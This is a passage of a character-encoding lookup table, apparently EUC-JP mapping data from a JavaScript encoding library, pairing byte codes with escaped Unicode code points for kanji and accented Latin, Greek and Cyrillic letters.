BD\u6CD7\u6CC5\u6CDD\u6CAE\u6CB1\u6CBE"],["dea1","\u6CBA\u6CDB\u6CEF\u6CD9\u6CEA\u6D1F\u884D\u6D36\u6D2B\u6D3D\u6D38\u6D19\u6D35\u6D33\u6D12\u6D0C\u6D63\u6D93\u6D64\u6D5A\u6D79\u6D59\u6D8E\u6D95\u6FE4\u6D85\u6DF9\u6E15\u6E0A\u6DB5\u6DC7\u6DE6\u6DB8\u6DC6\u6DEC\u6DDE\u6DCC\u6DE8\u6DD2\u6DC5\u6DFA\u6DD9\u6DE4\u6DD5\u6DEA\u6DEE\u6E2D\u6E6E\u6E2E\u6E19\u6E72\u6E5F\u6E3E\u6E23\u6E6B\u6E2B\u6E76\u6E4D\u6E1F\u6E43\u6E3A\u6E4E\u6E24\u6EFF\u6E1D\u6E38\u6E82\u6EAA\u6E98\u6EC9\u6EB7\u6ED3\u6EBD\u6EAF\u6EC4\u6EB2\u6ED4\u6ED5\u6E8F\u6EA5\u6EC2\u6E9F\u6F41\u6F11\u704C\u6EEC\u6EF8\u6EFE\u6F3F\u6EF2\u6F31\u6EEF\u6F32\u6ECC"],["dfa1","\u6F3E\u6F13\u6EF7\u6F86\u6F7A\u6F78\u6F81\u6F80\u6F6F\u6F5B\u6FF3\u6F6D\u6F82\u6F7C\u6F58\u6F8E\u6F91\u6FC2\u6F66\u6FB3\u6FA3\u6FA1\u6FA4\u6FB9\u6FC6\u6FAA\u6FDF\u6FD5\u6FEC\u6FD4\u6FD8\u6FF1\u6FEE\u6FDB\u7009\u700B\u6FFA\u7011\u7001\u700F\u6FFE\u701B\u701A\u6F74\u701D\u7018\u701F\u7030\u703E\u7032\u7051\u7063\u7099\u7092\u70AF\u70F1\u70AC\u70B8\u70B3\u70AE\u70DF\u70CB\u70DD\u70D9\u7109\u70FD\u711C\u7119\u7165\u7155\u7188\u7166\u7162\u714C\u7156\u716C\u718F\u71FB\u7184\u7195\u71A8\u71AC\u71D7\u71B9\u71BE\u71D2\u71C9\u71D4\u71CE\u71E0\u71EC\u71E7\u71F5\u71FC"],["e0a1","\u71F9\u71FF\u720D\u7210\u721B\u7228\u722D\u722C\u7230\u7232\u723B\u723C\u723F\u7240\u7246\u724B\u7258\u7274\u727E\u7282\u7281\u7287\u7292\u7296\u72A2\u72A7\u72B9\u72B2\u72C3\u72C6\u72C4\u72CE\u72D2\u72E2\u72E0\u72E1\u72F9\u72F7\u500F\u7317\u730A\u731C\u7316\u731D\u7334\u732F\u7329\u7325\u733E\u734E\u734F\u9ED8\u7357\u736A\u7368\u7370\u7378\u7375\u737B\u737A\u73C8\u73B3\u73CE\u73BB\u73C0\u73E5\u73EE\u73DE\u74A2\u7405\u746F\u7425\u73F8\u7432\u743A\u7455\u743F\u745F\u7459\u7441\u745C\u7469\u7470\u7463\u746A\u7476\u747E\u748B\u749E\u74A7\u74CA\u74CF\u74D4\u73F1"],["e1a1","\u74E0\u74E3\u74E7\u74E9\u74EE\u74F2\u74F0\u74F1\u74F8\u74F7\u7504\u7503\u7505\u750C\u750E\u750D\u7515\u7513\u751E\u7526\u752C\u753C\u7544\u754D\u754A\u7549\u755B\u7546\u755A\u7569\u7564\u7567\u756B\u756D\u7578\u7576\u7586\u7587\u7574\u758A\u7589\u7582\u7594\u759A\u759D\u75A5\u75A3\u75C2\u75B3\u75C3\u75B5\u75BD\u75B8\u75BC\u75B1\u75CD\u75CA\u75D2\u75D9\u75E3\u75DE\u75FE\u75FF\u75FC\u7601\u75F0\u75FA\u75F2\u75F3\u760B\u760D\u7609\u761F\u7627\u7620\u7621\u7622\u7624\u7634\u7630\u763B\u7647\u7648\u7646\u765C\u7658\u7661\u7662\u7668\u7669\u766A\u7667\u766C\u7670"],["e2a1","\u7672\u7676\u7678\u767C\u7680\u7683\u7688\u768B\u768E\u7696\u7693\u7699\u769A\u76B0\u76B4\u76B8\u76B9\u76BA\u76C2\u76CD\u76D6\u76D2\u76DE\u76E1\u76E5\u76E7\u76EA\u862F\u76FB\u7708\u7707\u7704\u7729\u7724\u771E\u7725\u7726\u771B\u7737\u7738\u7747\u775A\u7768\u776B\u775B\u7765\u777F\u777E\u7779\u778E\u778B\u7791\u77A0\u779E\u77B0\u77B6\u77B9\u77BF\u77BC\u77BD\u77BB\u77C7\u77CD\u77D7\u77DA\u77DC\u77E3\u77EE\u77FC\u780C\u7812\u7926\u7820\u792A\u7845\u788E\u7874\u7886\u787C\u789A\u788C\u78A3\u78B5\u78AA\u78AF\u78D1\u78C6\u78CB\u78D4\u78BE\u78BC\u78C5\u78CA\u78EC"],["e3a1","\u78E7\u78DA\u78FD\u78F4\u7907\u7912\u7911\u7919\u792C\u792B\u7940\u7960\u7957\u795F\u795A\u7955\u7953\u797A\u797F\u798A\u799D\u79A7\u9F4B\u79AA\u79AE\u79B3\u79B9\u79BA\u79C9\u79D5\u79E7\u79EC\u79E1\u79E3\u7A08\u7A0D\u7A18\u7A19\u7A20\u7A1F\u7980\u7A31\u7A3B\u7A3E\u7A37\u7A43\u7A57\u7A49\u7A61\u7A62\u7A69\u9F9D\u7A70\u7A79\u7A7D\u7A88\u7A97\u7A95\u7A98\u7A96\u7AA9\u7AC8\u7AB0\u7AB6\u7AC5\u7AC4\u7ABF\u9083\u7AC7\u7ACA\u7ACD\u7ACF\u7AD5\u7AD3\u7AD9\u7ADA\u7ADD\u7AE1\u7AE2\u7AE6\u7AED\u7AF0\u7B02\u7B0F\u7B0A\u7B06\u7B33\u7B18\u7B19\u7B1E\u7B35\u7B28\u7B36\u7B50"],["e4a1","\u7B7A\u7B04\u7B4D\u7B0B\u7B4C\u7B45\u7B75\u7B65\u7B74\u7B67\u7B70\u7B71\u7B6C\u7B6E\u7B9D\u7B98\u7B9F\u7B8D\u7B9C\u7B9A\u7B8B\u7B92\u7B8F\u7B5D\u7B99\u7BCB\u7BC1\u7BCC\u7BCF\u7BB4\u7BC6\u7BDD\u7BE9\u7C11\u7C14\u7BE6\u7BE5\u7C60\u7C00\u7C07\u7C13\u7BF3\u7BF7\u7C17\u7C0D\u7BF6\u7C23\u7C27\u7C2A\u7C1F\u7C37\u7C2B\u7C3D\u7C4C\u7C43\u7C54\u7C4F\u7C40\u7C50\u7C58\u7C5F\u7C64\u7C56\u7C65\u7C6C\u7C75\u7C83\u7C90\u7CA4\u7CAD\u7CA2\u7CAB\u7CA1\u7CA8\u7CB3\u7CB2\u7CB1\u7CAE\u7CB9\u7CBD\u7CC0\u7CC5\u7CC2\u7CD8\u7CD2\u7CDC\u7CE2\u9B3B\u7CEF\u7CF2\u7CF4\u7CF6\u7CFA\u7D06"],["e5a1","\u7D02\u7D1C\u7D15\u7D0A\u7D45\u7D4B\u7D2E\u7D32\u7D3F\u7D35\u7D46\u7D73\u7D56\u7D4E\u7D72\u7D68\u7D6E\u7D4F\u7D63\u7D93\u7D89\u7D5B\u7D8F\u7D7D\u7D9B\u7DBA\u7DAE\u7DA3\u7DB5\u7DC7\u7DBD\u7DAB\u7E3D\u7DA2\u7DAF\u7DDC\u7DB8\u7D9F\u7DB0\u7DD8\u7DDD\u7DE4\u7DDE\u7DFB\u7DF2\u7DE1\u7E05\u7E0A\u7E23\u7E21\u7E12\u7E31\u7E1F\u7E09\u7E0B\u7E22\u7E46\u7E66\u7E3B\u7E35\u7E39\u7E43\u7E37\u7E32\u7E3A\u7E67\u7E5D\u7E56\u7E5E\u7E59\u7E5A\u7E79\u7E6A\u7E69\u7E7C\u7E7B\u7E83\u7DD5\u7E7D\u8FAE\u7E7F\u7E88\u7E89\u7E8C\u7E92\u7E90\u7E93\u7E94\u7E96\u7E8E\u7E9B\u7E9C\u7F38\u7F3A"],["e6a1","\u7F45\u7F4C\u7F4D\u7F4E\u7F50\u7F51\u7F55\u7F54\u7F58\u7F5F\u7F60\u7F68\u7F69\u7F67\u7F78\u7F82\u7F86\u7F83\u7F88\u7F87\u7F8C\u7F94\u7F9E\u7F9D\u7F9A\u7FA3\u7FAF\u7FB2\u7FB9\u7FAE\u7FB6\u7FB8\u8B71\u7FC5\u7FC6\u7FCA\u7FD5\u7FD4\u7FE1\u7FE6\u7FE9\u7FF3\u7FF9\u98DC\u8006\u8004\u800B\u8012\u8018\u8019\u801C\u8021\u8028\u803F\u803B\u804A\u8046\u8052\u8058\u805A\u805F\u8062\u8068\u8073\u8072\u8070\u8076\u8079\u807D\u807F\u8084\u8086\u8085\u809B\u8093\u809A\u80AD\u5190\u80AC\u80DB\u80E5\u80D9\u80DD\u80C4\u80DA\u80D6\u8109\u80EF\u80F1\u811B\u8129\u8123\u812F\u814B"],["e7a1","\u968B\u8146\u813E\u8153\u8151\u80FC\u8171\u816E\u8165\u8166\u8174\u8183\u8188\u818A\u8180\u8182\u81A0\u8195\u81A4\u81A3\u815F\u8193\u81A9\u81B0\u81B5\u81BE\u81B8\u81BD\u81C0\u81C2\u81BA\u81C9\u81CD\u81D1\u81D9\u81D8\u81C8\u81DA\u81DF\u81E0\u81E7\u81FA\u81FB\u81FE\u8201\u8202\u8205\u8207\u820A\u820D\u8210\u8216\u8229\u822B\u8238\u8233\u8240\u8259\u8258\u825D\u825A\u825F\u8264\u8262\u8268\u826A\u826B\u822E\u8271\u8277\u8278\u827E\u828D\u8292\u82AB\u829F\u82BB\u82AC\u82E1\u82E3\u82DF\u82D2\u82F4\u82F3\u82FA\u8393\u8303\u82FB\u82F9\u82DE\u8306\u82DC\u8309\u82D9"],["e8a1","\u8335\u8334\u8316\u8332\u8331\u8340\u8339\u8350\u8345\u832F\u832B\u8317\u8318\u8385\u839A\u83AA\u839F\u83A2\u8396\u8323\u838E\u8387\u838A\u837C\u83B5\u8373\u8375\u83A0\u8389\u83A8\u83F4\u8413\u83EB\u83CE\u83FD\u8403\u83D8\u840B\u83C1\u83F7\u8407\u83E0\u83F2\u840D\u8422\u8420\u83BD\u8438\u8506\u83FB\u846D\u842A\u843C\u855A\u8484\u8477\u846B\u84AD\u846E\u8482\u8469\u8446\u842C\u846F\u8479\u8435\u84CA\u8462\u84B9\u84BF\u849F\u84D9\u84CD\u84BB\u84DA\u84D0\u84C1\u84C6\u84D6\u84A1\u8521\u84FF\u84F4\u8517\u8518\u852C\u851F\u8515\u8514\u84FC\u8540\u8563\u8558\u8548"],["e9a1","\u8541\u8602\u854B\u8555\u8580\u85A4\u8588\u8591\u858A\u85A8\u856D\u8594\u859B\u85EA\u8587\u859C\u8577\u857E\u8590\u85C9\u85BA\u85CF\u85B9\u85D0\u85D5\u85DD\u85E5\u85DC\u85F9\u860A\u8613\u860B\u85FE\u85FA\u8606\u8622\u861A\u8630\u863F\u864D\u4E55\u8654\u865F\u8667\u8671\u8693\u86A3\u86A9\u86AA\u868B\u868C\u86B6\u86AF\u86C4\u86C6\u86B0\u86C9\u8823\u86AB\u86D4\u86DE\u86E9\u86EC\u86DF\u86DB\u86EF\u8712\u8706\u8708\u8700\u8703\u86FB\u8711\u8709\u870D\u86F9\u870A\u8734\u873F\u8737\u873B\u8725\u8729\u871A\u8760\u875F\u8778\u874C\u874E\u8774\u8757\u8768\u876E\u8759"],["eaa1","\u8753\u8763\u876A\u8805\u87A2\u879F\u8782\u87AF\u87CB\u87BD\u87C0\u87D0\u96D6\u87AB\u87C4\u87B3\u87C7\u87C6\u87BB\u87EF\u87F2\u87E0\u880F\u880D\u87FE\u87F6\u87F7\u880E\u87D2\u8811\u8816\u8815\u8822\u8821\u8831\u8836\u8839\u8827\u883B\u8844\u8842\u8852\u8859\u885E\u8862\u886B\u8881\u887E\u889E\u8875\u887D\u88B5\u8872\u8882\u8897\u8892\u88AE\u8899\u88A2\u888D\u88A4\u88B0\u88BF\u88B1\u88C3\u88C4\u88D4\u88D8\u88D9\u88DD\u88F9\u8902\u88FC\u88F4\u88E8\u88F2\u8904\u890C\u890A\u8913\u8943\u891E\u8925\u892A\u892B\u8941\u8944\u893B\u8936\u8938\u894C\u891D\u8960\u895E"],["eba1","\u8966\u8964\u896D\u896A\u896F\u8974\u8977\u897E\u8983\u8988\u898A\u8993\u8998\u89A1\u89A9\u89A6\u89AC\u89AF\u89B2\u89BA\u89BD\u89BF\u89C0\u89DA\u89DC\u89DD\u89E7\u89F4\u89F8\u8A03\u8A16\u8A10\u8A0C\u8A1B\u8A1D\u8A25\u8A36\u8A41\u8A5B\u8A52\u8A46\u8A48\u8A7C\u8A6D\u8A6C\u8A62\u8A85\u8A82\u8A84\u8AA8\u8AA1\u8A91\u8AA5\u8AA6\u8A9A\u8AA3\u8AC4\u8ACD\u8AC2\u8ADA\u8AEB\u8AF3\u8AE7\u8AE4\u8AF1\u8B14\u8AE0\u8AE2\u8AF7\u8ADE\u8ADB\u8B0C\u8B07\u8B1A\u8AE1\u8B16\u8B10\u8B17\u8B20\u8B33\u97AB\u8B26\u8B2B\u8B3E\u8B28\u8B41\u8B4C\u8B4F\u8B4E\u8B49\u8B56\u8B5B\u8B5A\u8B6B"],["eca1","\u8B5F\u8B6C\u8B6F\u8B74\u8B7D\u8B80\u8B8C\u8B8E\u8B92\u8B93\u8B96\u8B99\u8B9A\u8C3A\u8C41\u8C3F\u8C48\u8C4C\u8C4E\u8C50\u8C55\u8C62\u8C6C\u8C78\u8C7A\u8C82\u8C89\u8C85\u8C8A\u8C8D\u8C8E\u8C94\u8C7C\u8C98\u621D\u8CAD\u8CAA\u8CBD\u8CB2\u8CB3\u8CAE\u8CB6\u8CC8\u8CC1\u8CE4\u8CE3\u8CDA\u8CFD\u8CFA\u8CFB\u8D04\u8D05\u8D0A\u8D07\u8D0F\u8D0D\u8D10\u9F4E\u8D13\u8CCD\u8D14\u8D16\u8D67\u8D6D\u8D71\u8D73\u8D81\u8D99\u8DC2\u8DBE\u8DBA\u8DCF\u8DDA\u8DD6\u8DCC\u8DDB\u8DCB\u8DEA\u8DEB\u8DDF\u8DE3\u8DFC\u8E08\u8E09\u8DFF\u8E1D\u8E1E\u8E10\u8E1F\u8E42\u8E35\u8E30\u8E34\u8E4A"],["eda1","\u8E47\u8E49\u8E4C\u8E50\u8E48\u8E59\u8E64\u8E60\u8E2A\u8E63\u8E55\u8E76\u8E72\u8E7C\u8E81\u8E87\u8E85\u8E84\u8E8B\u8E8A\u8E93\u8E91\u8E94\u8E99\u8EAA\u8EA1\u8EAC\u8EB0\u8EC6\u8EB1\u8EBE\u8EC5\u8EC8\u8ECB\u8EDB\u8EE3\u8EFC\u8EFB\u8EEB\u8EFE\u8F0A\u8F05\u8F15\u8F12\u8F19\u8F13\u8F1C\u8F1F\u8F1B\u8F0C\u8F26\u8F33\u8F3B\u8F39\u8F45\u8F42\u8F3E\u8F4C\u8F49\u8F46\u8F4E\u8F57\u8F5C\u8F62\u8F63\u8F64\u8F9C\u8F9F\u8FA3\u8FAD\u8FAF\u8FB7\u8FDA\u8FE5\u8FE2\u8FEA\u8FEF\u9087\u8FF4\u9005\u8FF9\u8FFA\u9011\u9015\u9021\u900D\u901E\u9016\u900B\u9027\u9036\u9035\u9039\u8FF8"],["eea1","\u904F\u9050\u9051\u9052\u900E\u9049\u903E\u9056\u9058\u905E\u9068\u906F\u9076\u96A8\u9072\u9082\u907D\u9081\u9080\u908A\u9089\u908F\u90A8\u90AF\u90B1\u90B5\u90E2\u90E4\u6248\u90DB\u9102\u9112\u9119\u9132\u9130\u914A\u9156\u9158\u9163\u9165\u9169\u9173\u9172\u918B\u9189\u9182\u91A2\u91AB\u91AF\u91AA\u91B5\u91B4\u91BA\u91C0\u91C1\u91C9\u91CB\u91D0\u91D6\u91DF\u91E1\u91DB\u91FC\u91F5\u91F6\u921E\u91FF\u9214\u922C\u9215\u9211\u925E\u9257\u9245\u9249\u9264\u9248\u9295\u923F\u924B\u9250\u929C\u9296\u9293\u929B\u925A\u92CF\u92B9\u92B7\u92E9\u930F\u92FA\u9344\u932E"],["efa1","\u9319\u9322\u931A\u9323\u933A\u9335\u933B\u935C\u9360\u937C\u936E\u9356\u93B0\u93AC\u93AD\u9394\u93B9\u93D6\u93D7\u93E8\u93E5\u93D8\u93C3\u93DD\u93D0\u93C8\u93E4\u941A\u9414\u9413\u9403\u9407\u9410\u9436\u942B\u9435\u9421\u943A\u9441\u9452\u9444\u945B\u9460\u9462\u945E\u946A\u9229\u9470\u9475\u9477\u947D\u945A\u947C\u947E\u9481\u947F\u9582\u9587\u958A\u9594\u9596\u9598\u9599\u95A0\u95A8\u95A7\u95AD\u95BC\u95BB\u95B9\u95BE\u95CA\u6FF6\u95C3\u95CD\u95CC\u95D5\u95D4\u95D6\u95DC\u95E1\u95E5\u95E2\u9621\u9628\u962E\u962F\u9642\u964C\u964F\u964B\u9677\u965C\u965E"],["f0a1","\u965D\u965F\u9666\u9672\u966C\u968D\u9698\u9695\u9697\u96AA\u96A7\u96B1\u96B2\u96B0\u96B4\u96B6\u96B8\u96B9\u96CE\u96CB\u96C9\u96CD\u894D\u96DC\u970D\u96D5\u96F9\u9704\u9706\u9708\u9713\u970E\u9711\u970F\u9716\u9719\u9724\u972A\u9730\u9739\u973D\u973E\u9744\u9746\u9748\u9742\u9749\u975C\u9760\u9764\u9766\u9768\u52D2\u976B\u9771\u9779\u9785\u977C\u9781\u977A\u9786\u978B\u978F\u9790\u979C\u97A8\u97A6\u97A3\u97B3\u97B4\u97C3\u97C6\u97C8\u97CB\u97DC\u97ED\u9F4F\u97F2\u7ADF\u97F6\u97F5\u980F\u980C\u9838\u9824\u9821\u9837\u983D\u9846\u984F\u984B\u986B\u986F\u9870"],["f1a1","\u9871\u9874\u9873\u98AA\u98AF\u98B1\u98B6\u98C4\u98C3\u98C6\u98E9\u98EB\u9903\u9909\u9912\u9914\u9918\u9921\u991D\u991E\u9924\u9920\u992C\u992E\u993D\u993E\u9942\u9949\u9945\u9950\u994B\u9951\u9952\u994C\u9955\u9997\u9998\u99A5\u99AD\u99AE\u99BC\u99DF\u99DB\u99DD\u99D8\u99D1\u99ED\u99EE\u99F1\u99F2\u99FB\u99F8\u9A01\u9A0F\u9A05\u99E2\u9A19\u9A2B\u9A37\u9A45\u9A42\u9A40\u9A43\u9A3E\u9A55\u9A4D\u9A5B\u9A57\u9A5F\u9A62\u9A65\u9A64\u9A69\u9A6B\u9A6A\u9AAD\u9AB0\u9ABC\u9AC0\u9ACF\u9AD1\u9AD3\u9AD4\u9ADE\u9ADF\u9AE2\u9AE3\u9AE6\u9AEF\u9AEB\u9AEE\u9AF4\u9AF1\u9AF7"],["f2a1","\u9AFB\u9B06\u9B18\u9B1A\u9B1F\u9B22\u9B23\u9B25\u9B27\u9B28\u9B29\u9B2A\u9B2E\u9B2F\u9B32\u9B44\u9B43\u9B4F\u9B4D\u9B4E\u9B51\u9B58\u9B74\u9B93\u9B83\u9B91\u9B96\u9B97\u9B9F\u9BA0\u9BA8\u9BB4\u9BC0\u9BCA\u9BB9\u9BC6\u9BCF\u9BD1\u9BD2\u9BE3\u9BE2\u9BE4\u9BD4\u9BE1\u9C3A\u9BF2\u9BF1\u9BF0\u9C15\u9C14\u9C09\u9C13\u9C0C\u9C06\u9C08\u9C12\u9C0A\u9C04\u9C2E\u9C1B\u9C25\u9C24\u9C21\u9C30\u9C47\u9C32\u9C46\u9C3E\u9C5A\u9C60\u9C67\u9C76\u9C78\u9CE7\u9CEC\u9CF0\u9D09\u9D08\u9CEB\u9D03\u9D06\u9D2A\u9D26\u9DAF\u9D23\u9D1F\u9D44\u9D15\u9D12\u9D41\u9D3F\u9D3E\u9D46\u9D48"],["f3a1","\u9D5D\u9D5E\u9D64\u9D51\u9D50\u9D59\u9D72\u9D89\u9D87\u9DAB\u9D6F\u9D7A\u9D9A\u9DA4\u9DA9\u9DB2\u9DC4\u9DC1\u9DBB\u9DB8\u9DBA\u9DC6\u9DCF\u9DC2\u9DD9\u9DD3\u9DF8\u9DE6\u9DED\u9DEF\u9DFD\u9E1A\u9E1B\u9E1E\u9E75\u9E79\u9E7D\u9E81\u9E88\u9E8B\u9E8C\u9E92\u9E95\u9E91\u9E9D\u9EA5\u9EA9\u9EB8\u9EAA\u9EAD\u9761\u9ECC\u9ECE\u9ECF\u9ED0\u9ED4\u9EDC\u9EDE\u9EDD\u9EE0\u9EE5\u9EE8\u9EEF\u9EF4\u9EF6\u9EF7\u9EF9\u9EFB\u9EFC\u9EFD\u9F07\u9F08\u76B7\u9F15\u9F21\u9F2C\u9F3E\u9F4A\u9F52\u9F54\u9F63\u9F5F\u9F60\u9F61\u9F66\u9F67\u9F6C\u9F6A\u9F77\u9F72\u9F76\u9F95\u9F9C\u9FA0"],["f4a1","\u582F\u69C7\u9059\u7464\u51DC\u7199"],["f9a1","\u7E8A\u891C\u9348\u9288\u84DC\u4FC9\u70BB\u6631\u68C8\u92F9\u66FB\u5F45\u4E28\u4EE1\u4EFC\u4F00\u4F03\u4F39\u4F56\u4F92\u4F8A\u4F9A\u4F94\u4FCD\u5040\u5022\u4FFF\u501E\u5046\u5070\u5042\u5094\u50F4\u50D8\u514A\u5164\u519D\u51BE\u51EC\u5215\u529C\u52A6\u52C0\u52DB\u5300\u5307\u5324\u5372\u5393\u53B2\u53DD\uFA0E\u549C\u548A\u54A9\u54FF\u5586\u5759\u5765\u57AC\u57C8\u57C7\uFA0F\uFA10\u589E\u58B2\u590B\u5953\u595B\u595D\u5963\u59A4\u59BA\u5B56\u5BC0\u752F\u5BD8\u5BEC\u5C1E\u5CA6\u5CBA\u5CF5\u5D27\u5D53\uFA11\u5D42\u5D6D\u5DB8\u5DB9\u5DD0\u5F21\u5F34\u5F67\u5FB7"],["faa1","\u5FDE\u605D\u6085\u608A\u60DE\u60D5\u6120\u60F2\u6111\u6137\u6130\u6198\u6213\u62A6\u63F5\u6460\u649D\u64CE\u654E\u6600\u6615\u663B\u6609\u662E\u661E\u6624\u6665\u6657\u6659\uFA12\u6673\u6699\u66A0\u66B2\u66BF\u66FA\u670E\uF929\u6766\u67BB\u6852\u67C0\u6801\u6844\u68CF\uFA13\u6968\uFA14\u6998\u69E2\u6A30\u6A6B\u6A46\u6A73\u6A7E\u6AE2\u6AE4\u6BD6\u6C3F\u6C5C\u6C86\u6C6F\u6CDA\u6D04\u6D87\u6D6F\u6D96\u6DAC\u6DCF\u6DF8\u6DF2\u6DFC\u6E39\u6E5C\u6E27\u6E3C\u6EBF\u6F88\u6FB5\u6FF5\u7005\u7007\u7028\u7085\u70AB\u710F\u7104\u715C\u7146\u7147\uFA15\u71C1\u71FE\u72B1"],["fba1","\u72BE\u7324\uFA16\u7377\u73BD\u73C9\u73D6\u73E3\u73D2\u7407\u73F5\u7426\u742A\u7429\u742E\u7462\u7489\u749F\u7501\u756F\u7682\u769C\u769E\u769B\u76A6\uFA17\u7746\u52AF\u7821\u784E\u7864\u787A\u7930\uFA18\uFA19\uFA1A\u7994\uFA1B\u799B\u7AD1\u7AE7\uFA1C\u7AEB\u7B9E\uFA1D\u7D48\u7D5C\u7DB7\u7DA0\u7DD6\u7E52\u7F47\u7FA1\uFA1E\u8301\u8362\u837F\u83C7\u83F6\u8448\u84B4\u8553\u8559\u856B\uFA1F\u85B0\uFA20\uFA21\u8807\u88F5\u8A12\u8A37\u8A79\u8AA7\u8ABE\u8ADF\uFA22\u8AF6\u8B53\u8B7F\u8CF0\u8CF4\u8D12\u8D76\uFA23\u8ECF\uFA24\uFA25\u9067\u90DE\uFA26\u9115\u9127\u91DA"],["fca1","\u91D7\u91DE\u91ED\u91EE\u91E4\u91E5\u9206\u9210\u920A\u923A\u9240\u923C\u924E\u9259\u9251\u9239\u9267\u92A7\u9277\u9278\u92E7\u92D7\u92D9\u92D0\uFA27\u92D5\u92E0\u92D3\u9325\u9321\u92FB\uFA28\u931E\u92FF\u931D\u9302\u9370\u9357\u93A4\u93C6\u93DE\u93F8\u9431\u9445\u9448\u9592\uF9DC\uFA29\u969D\u96AF\u9733\u973B\u9743\u974D\u974F\u9751\u9755\u9857\u9865\uFA2A\uFA2B\u9927\uFA2C\u999E\u9A4E\u9AD9\u9ADC\u9B75\u9B72\u9B8F\u9BB1\u9BBB\u9C00\u9D70\u9D6B\uFA2D\u9E19\u9ED1"],["fcf1","\u2170",9,"\uFFE2\uFFE4\uFF07\uFF02"],["8fa2af","\u02D8\u02C7\xB8\u02D9\u02DD\xAF\u02DB\u02DA\uFF5E\u0384\u0385"],["8fa2c2","\xA1\xA6\xBF"],["8fa2eb","\xBA\xAA\xA9\xAE\u2122\xA4\u2116"],["8fa6e1","\u0386\u0388\u0389\u038A\u03AA"],["8fa6e7","\u038C"],["8fa6e9","\u038E\u03AB"],["8fa6ec","\u038F"],["8fa6f1","\u03AC\u03AD\u03AE\u03AF\u03CA\u0390\u03CC\u03C2\u03CD\u03CB\u03B0\u03CE"],["8fa7c2","\u0402",10,"\u040E\u040F"],["8fa7f2","\u0452",10,"\u045E\u045F"],["8fa9a1","\xC6\u0110"],["8fa9a4","\u0126"],["8fa9a6","\u0132"],["8fa9a8","\u0141\u013F"],["8fa9ab","\u014A\xD8\u0152"],["8fa9af","\u0166\xDE"],["8fa9c1","\xE6\u0111\xF0\u0127\u0131\u0133\u0138\u0142\u0140\u0149\u014B\xF8\u0153\xDF\u0167\xFE"],["8faaa1","\xC1\xC0\xC4\xC2\u0102\u01CD\u0100\u0104\xC5\xC3\u0106\u0108\u010C\xC7\u010A\u010E\xC9\xC8\xCB\xCA\u011A\u0116\u0112\u0118"],["8faaba","\u011C\u011E\u0122\u0120\u0124\xCD\xCC\xCF\xCE\u01CF\u0130\u012A\u012E\u0128\u0134\u0136\u0139\u013D\u013B\u0143\u0147\u0145\xD1\xD3\xD2\xD6\xD4\u01D1\u0150\u014C\xD5\u0154\u0158\u0156\u015A\u015C\u0160\u015E\u0164\u0162\xDA\xD9\xDC\xDB\u016C\u01D3\u0170\u016A\u0172\u016E\u0168\u01D7\u01DB\u01D9\u01D5\u0174\xDD\u0178\u0176\u0179\u017D\u017B"],["8faba1","\xE1\xE0\xE4\xE2\u0103\u01CE\u0101\u0105\xE5\xE3\u0107\u0109\u010D\xE7\u010B\u010F\xE9\xE8\xEB\xEA\u011B\u0117\u0113\u0119\u01F5\u011D\u011F"],["8fabbd","\u0121\u0125\xED\xEC\xEF\xEE\u01D0"],["8fabc5","\u012B\u012F\u0129\u0135\u0137\u013A\u013E\u013C\u0144\u0148\u0146\xF1\xF3\xF2\xF6\xF4\u01D2\u0151\u014D\xF5\u0155\u0159\u0157\u015B\u015D\u0161\u015F\u0165\u0163\xFA\xF9\xFC\xFB\u016D\u01D4\u0171\u016B\u0173\u016F\u0169\u01D8\u01DC\u01DA\u01D6\u0175\xFD\xFF\u0177\u017A\u017E\u017C"],["8fb0a1","\u4E02\u4E04\u4E05\u4E0C\u4E12\u4E1F\u4E23\u4E24\u4E28\u4E2B\u4E2E\u4E2F\u4E30\u4E35\u4E40\u4E41\u4E44\u4E47\u4E51\u4E5A\u4E5C\u4E63\u4E68\u4E69\u4E74\u4E75\u4E79\u4E7F\u4E8D\u4E96\u4E97\u4E9D\u4EAF\u4EB9\u4EC3\u4ED0\u4EDA\u4EDB\u4EE0\u4EE1\u4EE2\u4EE8\u4EEF\u4EF1\u4EF3\u4EF5\u4EFD\u4EFE\u4EFF\u4F00\u4F02\u4F03\u4F08\u4F0B\u4F0C\u4F12\u4F15\u4F16\u4F17\u4F19\u4F2E\u4F31\u4F60\u4F33\u4F35\u4F37\u4F39\u4F3B\u4F3E\u4F40\u4F42\u4F48\u4F49\u4F4B\u4F4C\u4F52\u4F54\u4F56\u4F58\u4F5F\u4F63\u4F6A\u4F6C\u4F6E\u4F71\u4F77\u4F78\u4F79\u4F7A\u4F7D\u4F7E\u4F81\u4F82\u4F84"],["8fb1a1","\u4F85\u4F89\u4F8A\u4F8C\u4F8E\u4F90\u4F92\u4F93\u4F94\u4F97\u4F99\u4F9A\u4F9E\u4F9F\u4FB2\u4FB7\u4FB9\u4FBB\u4FBC\u4FBD\u4FBE\u4FC0\u4FC1\u4FC5\u4FC6\u4FC8\u4FC9\u4FCB\u4FCC\u4FCD\u4FCF\u4FD2\u4FDC\u4FE0\u4FE2\u4FF0\u4FF2\u4FFC\u4FFD\u4FFF\u5000\u5001\u5004\u5007\u500A\u500C\u500E\u5010\u5013\u5017\u5018\u501B\u501C\u501D\u501E\u5022\u5027\u502E\u5030\u5032\u5033\u5035\u5040\u5041\u5042\u5045\u5046\u504A\u504C\u504E\u5051\u5052\u5053\u5057\u5059\u505F\u5060\u5062\u5063\u5066\u5067\u506A\u506D\u5070\u5071\u503B\u5081\u5083\u5084\u5086\u508A\u508E\u508F\u5090"],["8fb2a1","\u5092\u5093\u5094\u5096\u509B\u509C\u509E",4,"\u50AA\u50AF\u50B0\u50B9\u50BA\u50BD\u50C0\u50C3\u50C4\u50C7\u50CC\u50CE\u50D0\u50D3\u50D4\u50D8\u50DC\u50DD\u50DF\u50E2\u50E4\u50E6\u50E8\u50E9\u50EF\u50F1\u50F6\u50FA\u50FE\u5103\u5106\u5107\u5108\u510B\u510C\u510D\u510E\u50F2\u5110\u5117\u5119\u511B\u511C\u511D\u511E\u5123\u5127\u5128\u512C\u512D\u512F\u5131\u5133\u5134\u5135\u5138\u5139\u5142\u514A\u514F\u5153\u5155\u5157\u5158\u515F\u5164\u5166\u517E\u5183\u5184\u518B\u518E\u5198\u519D\u51A1\u51A3\u51AD\u51B8\u51BA\u51BC\u51BE\u51BF\u51C2"],["8fb3a1","\u51C8\u51CF\u51D1\u51D2\u51D3\u51D5\u51D8\u51DE\u51E2\u51E5\u51EE\u51F2\u51F3\u51F4\u51F7\u5201\u5202\u5205\u5212\u5213\u5215\u5216\u5218\u5222\u5228\u5231\u5232\u5235\u523C\u5245\u5249\u5255\u5257\u5258\u525A\u525C\u525F\u5260\